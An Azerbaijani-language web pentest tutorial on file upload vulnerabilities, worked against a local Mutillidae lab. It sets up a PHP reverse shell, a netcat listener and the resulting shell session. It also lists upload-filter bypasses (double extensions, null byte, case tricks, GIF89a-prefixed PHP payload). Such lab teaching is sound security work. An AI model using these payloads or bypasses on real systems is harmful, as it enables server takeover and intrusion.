Salam hər vaxtınız xeyir dəyərli oxucular, bu gün Web pentest və web boşluqların tapılması başlığı altında File Upload boşluğunun haqqında məlumat və exploit edilməsi üzrə məlumat əldə edəcəyik.
Telegram kanalına qoşularaq bu və digər mövzular üzrə quizlərdə iştirak edə bilərsiniz!
Telegram (Kanal): https://t.me/xakeraz_official
File Upload Vulnerability
File Upload zəifliyinin əsasını hədəf saytda zərəri faylların yüklənməsi təşkil edir.Praktiki olaraq zəiflik hədəf saytın serverinə vebshell yüklənməsi ilə nəticələnir və server uzaqdan idarə oluna bilir.Veb serverlər bəzi proqramlaşdırma dillərindn istifadə olunur və tətbiq olunur.Bu o deməkdirki əgər sayt PHP dilində yazılıbsa vebshell dili olaraq təkcə PHP dili deyildə digər dillərdən də istifadə oluna bilər.
Sadə File Upload
Sadə File Upload zəifliyini exploit etmək üçün 0 təhlükəsizlik dərəcəsində olan Mutillidae veb tətbiqindən və PHP vebshellindən istifadə edəcəyik.Başqa bir sözlə veb sayt vasitəsi ilə hədəf serverə istənilən tip faylları daxil edə bilərik.
İlk öncə File Upload zəifliyi olan səhifəyə daxil oluruq.
http://192.168.10.38/mutillidae/index.php?page=upload-file.php

Ziyankar şəxslər php dilində yazılmış reverse shell daxil edərək shell əldə edə bilərlər.Aşağıda linkdə reverse shell göstərilmişdir onu endirib dəyişikliyinizi etmək olar.
https://github.com/pentestmonkey/php-reverse-shell: File Upload boşluğunun exploit edilməsiGöstərilən reverse shell kodunu endirib aşağıdakı mütləq dəyişdirməli olduğumuz parametrləri yenidən təyin edirik.
$ip = '192.168.10.16'; // CHANGE THIS
$port = 4444; // CHANGE THIS
Dəyişiklikləri daxil edib faylı yadda saxladıqdan sonra netcat ilə hədəfdən gələcək olan reverse shell dinləməsini yerinə yetirək.
┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
Yerinə yetirdiyimiz işlərdən sonra biz hədəf saytı serverini zərərli fayl ilə yoluxdurmağa hazırıq.Reverse shell daxil etdikdən sonra saytın Upload əməliyyatının uğurlu keçməsi ilə əlaqədar səhifə ilə qarşılacaqsınız.

File Upload əməliyyatının uğurlu olduğunu gördük və shell.php zərərli faylımızın hədəf saytın “/tmp/shell.php” hissəsinə köçürüldüyünü bildik. İndi isə URL dəyişiklik edərək həmin shell.php skriptini icra etməyə çalışacayıqki reverse shell əldə edək.
http://192.168.10.38/mutillidae/index.php?page=/tmp/shell.php
URL daxil olduqdan sonra bizə reverse shell dinləməyə aldığımız netcat alətində shell gəldiyini və hədəf server üzərində kommanda icra etdiyimizi gördük.
┌──(root㉿kali)-[~]
└─# nc -nvlp 4444
listening on [any] 4444 ...
connect to [192.168.10.16] from (UNKNOWN) [192.168.10.38] 42173
SOCKET: Shell has connected! PID: 2113
whoami
www-data
pwd
/owaspbwa/mutillidae-git
Filterləməni bypass etmək
Əvvəlki paylaşımda hədəf saytın bu zəifliyi yerinə yetirilməsi üçün təhlükəsizlik səviyyəsi 0 idi.Məhz buna görədə bizin PHP reverse shell faylımız hədəfdə asan bir şəkildə upload edildi və bağlantı əldə etdik.File Upload yerinə yetirilərkən bir çox müdafiə üsulları var və əlbəttəki bu müdafiəni yan keçmək üsulları mövcuddur.Məsələn təsəvvür edinki hədəf sayt yalnız şəkil faylı uzantılı faylları yükləməyə icazə verir.Belə bir müdafiə üsulunu yan keçmək üçün aşağıdakı tədbirləri həyata keçirə bilərik.
- Faylın adını photo.png yerinə photo.php.png olaraq dəyişmək
- Faylın tipinin hədəf sayt üzərində image.png olduğuna əmin olun.
- Şəkilin kontentini bizim əvvəl istifadə etdimiz reverse shell kodları ilə dəyişək.

Yuxarıdakı əməliyyatları və tədbirləri tətbiq etdikdən sonra isə POST sorğusu aşağıdakı kimi görünəcəkdir.

Faylın adının dəyişdirilməsi
Bir çox veb tətbiqlərdə ziyankar şəxsin shell.php kimi zərərli faylları yükləməsinin qarşısını almaq üçün faylın uzantılarını yoxlayır və zərərli olanları bloklayır. Aşağıda müdafiə üsullarını yan keçmək üçün bəzi metodları göstərilmişdir.
- Apache veb serverləri ikili uzantı yaratmağa icazə verir.(shell.php.png)
- IIS 6 (köhnə versiyalarında da) əsas uzantıdan sonra nöqtə vergül ilə ayırmaq mümkündür. (shell.asp;.png)
- Eləcədə uzantı üzərindən registri dəyişərək biz bu müdafiə üsulundan yan keçə bilərik. (Shell.pHP, Shell.php3, Shell.ASP)
Bir üsuluda bəzi Apache severlərində null byte-dan istifadə etməkdir. (%00) Bu o deməkdirki null byte işarəsindən sonrakı hissə serverdə nəzərə alınmır.(shell.php%00.png)
Faylın tipi
Yüklənəcək faylın tipi hədəf server üçün əhəmiyyətli bir nüansdır.Veb tətbiq proqramçıları həm server , həm istifadəçi tərəfinə faylın tipini yoxlamaq üçün müdafiə üsulları tətbiq edilə bilər.
Faylın kontentinin dəyişdirilməsi
Əvvəlki paylaşımda diqqət yetirsəniz görə bilərikki şəkil faylının kontentini bizə lazım olan php kodları ilə əvəz etmişdik.
GIF89a;
<?php system("ls -la"); ?>
GIF89a nə deməkdir? GIF89a – faylın başlıq hissəsinin bir imzasıdır hansıki, biz belə bir dəyişiklik etdikdə hədəf server faylın həqiqətəndə doğru bir şəkil fayl olduğunu düşünür.
Encoding istifadə edilməsi
Siz bir çox pentestlərdə koding encoding ilə qarşılacaqsınız, hansıki bunu müdiafə mexanizmi olaraq saytlar istifadə edir.Veb boşluqların istismar edilməsində hədəf server bəzi hərflər və simvollar blokalya bilər amma biz encoding tətbiq edərək bundan yan keçə bilərik.Bunun üçün Burp Suite proqramının Decoder hissəsindən istifadə edə biləriniz.
Ümidvaram faydalı olmuşdur.Təşəkkürlər!
Bizi izləyin:
Telegram (Kanal): https://t.me/xakeraz_official
Paylaşımların səliqəli yığılmış halı: https://t.me/xakerazgroup
Fikir və şərhləriniz : https://t.me/xakerazchat